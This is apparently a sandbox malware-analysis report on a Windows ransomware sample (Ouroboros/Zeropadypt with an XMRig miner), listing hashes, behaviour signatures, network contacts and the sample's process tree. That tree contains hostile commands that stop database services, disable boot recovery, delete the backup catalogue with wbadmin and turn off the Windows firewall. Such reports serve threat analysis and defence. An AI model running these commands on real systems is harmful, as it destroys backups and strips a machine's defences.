Overview

overview

10

Static

static

26690dae11...ed.exe

windows7_x64

10

26690dae11...ed.exe

windows10_x64

10

Analysis

  • max time kernel
    105s
  • max time network
    77s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    02/09/2021, 08:13 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa_unpacked.exe

  • Size

    997KB

  • MD5

    ba454585b9f42c7254c931c192556e08

  • SHA1

    0b530303634283a43d53abd9190106869f57ba5a

  • SHA256

    26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa

  • SHA512

    2cb918eab6776c7cfea031cbb48cc4e33e068489a37f39ba1e246f32fef7a35c3511293b399c81b5b8056bca50d725554866584460f04efe0d65c1d1c625bc4b

Score
10/10
ouroborosxmrigevasionminerransomwarespywarestealer

Malware Config

Signatures

  • Ouroboros/Zeropadypt

    Ransomware family based on open-source CryptoWire.

    ransomwareouroboros
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Modifies extensions of user files 1 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Drops startup file 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops desktop.ini file(s) 64 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • NTFS ADS 22 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa_unpacked.exe
    "C:\Users\Admin\AppData\Local\Temp\26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa_unpacked.exe"
    1โคต
    • Modifies extensions of user files
    • Drops startup file
    • Drops desktop.ini file(s)
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:528
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net stop SQLWriter
      2โคต
      • Suspicious use of WriteProcessMemory
      PID:1720
      • C:\Windows\SysWOW64\net.exe
        net stop SQLWriter
        3โคต
        • Suspicious use of WriteProcessMemory
        PID:1544
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop SQLWriter
          4โคต
            PID:1244
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c net stop SQLBrowser
        2โคต
        • Suspicious use of WriteProcessMemory
        PID:1232
        • C:\Windows\SysWOW64\net.exe
          net stop SQLBrowser
          3โคต
          • Suspicious use of WriteProcessMemory
          PID:1600
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop SQLBrowser
            4โคต
              PID:1700
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c net stop MSSQLSERVER
          2โคต
          • Suspicious use of WriteProcessMemory
          PID:1140
          • C:\Windows\SysWOW64\net.exe
            net stop MSSQLSERVER
            3โคต
            • Suspicious use of WriteProcessMemory
            PID:340
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop MSSQLSERVER
              4โคต
                PID:1756
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c net stop MSSQL$CONTOSO1
            2โคต
            • Suspicious use of WriteProcessMemory
            PID:936
            • C:\Windows\SysWOW64\net.exe
              net stop MSSQL$CONTOSO1
              3โคต
              • Suspicious use of WriteProcessMemory
              PID:1376
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop MSSQL$CONTOSO1
                4โคต
                  PID:1160
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c net stop MSDTC
              2โคต
              • Suspicious use of WriteProcessMemory
              PID:1596
              • C:\Windows\SysWOW64\net.exe
                net stop MSDTC
                3โคต
                • Suspicious use of WriteProcessMemory
                PID:2028
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop MSDTC
                  4โคต
                    PID:1724
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
                2โคต
                  PID:596
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled no
                  2โคต
                    PID:1580
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet
                    2โคต
                      PID:1912
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c net stop SQLSERVERAGENT
                      2โคต
                        PID:864
                        • C:\Windows\SysWOW64\net.exe
                          net stop SQLSERVERAGENT
                          3โคต
                            PID:1396
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop SQLSERVERAGENT
                              4โคต
                                PID:2012
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c net stop MSSQLSERVER
                            2โคต
                              PID:968
                              • C:\Windows\SysWOW64\net.exe
                                net stop MSSQLSERVER
                                3โคต
                                  PID:1492
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 stop MSSQLSERVER
                                    4โคต
                                      PID:680
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c net stop vds
                                  2โคต
                                    PID:944
                                    • C:\Windows\SysWOW64\net.exe
                                      net stop vds
                                      3โคต
                                        PID:2016
                                        • C:\Windows\SysWOW64\net1.exe
                                          C:\Windows\system32\net1 stop vds
                                          4โคต
                                            PID:1744
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c netsh advfirewall set currentprofile state off
                                        2โคต
                                          PID:1408
                                          • C:\Windows\SysWOW64\netsh.exe
                                            netsh advfirewall set currentprofile state off
                                            3โคต
                                              PID:1288
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c netsh firewall set opmode mode=disable
                                            2โคต
                                              PID:1716
                                              • C:\Windows\SysWOW64\netsh.exe
                                                netsh firewall set opmode mode=disable
                                                3โคต
                                                  PID:628

                                            Network

                                            • flag-unknown
                                              DNS
                                              www.sfml-dev.org
                                              26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa_unpacked.exe
                                              Remote address:
                                              8.8.8.8:53
                                              Request
                                              www.sfml-dev.org
                                              IN A
                                              Response
                                              www.sfml-dev.org
                                              IN CNAME
                                              sfml-dev.org
                                              sfml-dev.org
                                              IN A
                                              78.47.82.133
                                            • flag-unknown
                                              GET
                                              http://www.sfml-dev.org/ip-provider.php
                                              26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa_unpacked.exe
                                              Remote address:
                                              78.47.82.133:80
                                              Request
                                              GET /ip-provider.php HTTP/1.0
                                              content-length: 0
                                              from: user@sfml-dev.org
                                              host: www.sfml-dev.org
                                              user-agent: libsfml-network/2.x
                                              Response
                                              HTTP/1.1 200 OK
                                              Date: Thu, 02 Sep 2021 08:21:06 GMT
                                              Server: Apache
                                              Content-Security-Policy: default-src 'none'; script-src 'self' 'unsafe-eval' 'unsafe-inline' *.sfml-dev.org www.gstatic.com www.google.com www.google-analytics.com ssl.google-analytics.com; connect-src 'self' www.google-analytics.com; img-src 'self' https: data:; style-src 'self' 'unsafe-inline' *.sfml-dev.org fonts.googleapis.com; media-src https: data:; font-src 'self' fonts.gstatic.com; base-uri 'self'; form-action 'self'; frame-src https: data:
                                              Content-Length: 12
                                              Connection: close
                                              Content-Type: text/html; charset=UTF-8
                                            • 78.47.82.133:80
                                              http://www.sfml-dev.org/ip-provider.php
                                              http
                                              26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa_unpacked.exe
                                              364 B
                                               829 B
                                               5
                                              5

                                              HTTP Request

                                              GET http://www.sfml-dev.org/ip-provider.php

                                              HTTP Response

                                              200
                                            • 80.82.69.52:8080
                                              26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa_unpacked.exe
                                              152 B
                                               3
                                            • 8.8.8.8:53
                                              www.sfml-dev.org
                                              dns
                                              26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa_unpacked.exe
                                              62 B
                                               92 B
                                               1
                                              1

                                              DNS Request

                                              www.sfml-dev.org

                                              DNS Response

                                              78.47.82.133

                                            MITRE ATT&CK Enterprise v6

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • memory/1288-88-0x0000000075FF1000-0x0000000075FF3000-memory.dmp

                                              Filesize

                                              8KB

                                              Download

                                            We care about your privacy.

                                            This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.